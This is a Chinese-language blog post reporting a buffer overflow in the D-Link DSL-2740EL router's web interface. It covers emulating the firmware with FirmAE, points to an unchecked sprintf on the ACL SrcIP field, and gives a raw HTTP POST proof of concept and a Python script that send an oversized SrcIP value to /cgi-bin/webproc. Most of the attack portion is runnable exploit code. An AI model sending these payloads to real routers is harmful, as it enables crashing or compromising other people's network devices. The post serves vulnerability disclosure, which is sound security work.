D-Link DSL-2740EL路由器漏洞报告

验证视频.mp4

模拟

使用FirmAE一键模拟

./init.sh
sudo ./run.sh -r dlink DSL.img

然后通过nb转发到宿主机

./nb -tran 7070 192.168.1.1:80

漏洞点

image.png
sprintf函数没有任何检测直接拼接ip,并且只检测了一个ip格式是否正确,所以只需要合理构造rop链即可攻击成功。

poc

POST /cgi-bin/webproc HTTP/1.1
Host: 192.168.18.145:7070
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 288
Origin: http://192.168.18.145:7070
Connection: close
Referer: http://192.168.18.145:7070/cgi-bin/webproc
Cookie: sessionid=6bfdb7ec; sessionid=6bfdb7ec; language=zh_cn; sys_UserName=admin
Upgrade-Insecure-Requests: 1
Priority: u=1

add-obj=InternetGatewayDevice.X_TWSZ-COM_IP_ACL.ACL.&%3ASrcIP=192.168.14.24+11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111&obj-action=add-set&getpage=html%2Findex.html&errorpage=html%2Findex.html&var%3Amenu=maintenance&var%3Apage=ipaddrs&var%3Aerrorpage=ipaddrs&var%3ACacheLastData=QUNMRW5hYmxlZD1mYWxzZXxTcmNJUD0xOTIuMTY4LjE0LjI0JTIw

脚本

import requests

url = "http://192.168.1.1/cgi-bin/webproc"
headers = {
    "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
    "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding": "gzip, deflate, br",
    "Content-Type": "application/x-www-form-urlencoded",
    "Origin": "http://192.168.1.1",
    "Connection": "keep-alive",
    "Referer": "http://192.168.1.1/cgi-bin/webproc?getpage=html/index.html&errorpage=html/index.html&var:language=zh_cn&var:menu=maintenance&var:page=ipaddrs&var:errorpage=ipaddrs&var:newobjindex=1",
    "Cookie": "sessionid=6ec7f79a; sessionid=6ec7f79a; TBSPASSWORD=admin; language=zh_cn; sys_UserName=admin",
    "Upgrade-Insecure-Requests": "1",
    "Priority": "u=1"
}

data = (
    "add-obj=InternetGatewayDevice.X_TWSZ-COM_IP_ACL.ACL.&%3ASrcIP="
    "192.168.49.65+111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111&obj-action=add-set&getpage=html%2Findex.html&errorpage=html%2Findex.html&var%3Amenu=maintenance&var%3Apage=ipaddrs&var%3Aerrorpage=ipaddrs&var%3ACacheLastData=QUNMRW5hYmxlZD1mYWxzZXxFbmFibGVfMD1mYWxzZXxTcmNJUD0xOTIuMTY4LjQ5LjY1JTIw"
)

response = requests.post(url, headers=headers, data=data)



image.png

posted @ 2024-07-25 13:38  津门湖志津香  阅读(45)  评论(0)    收藏  举报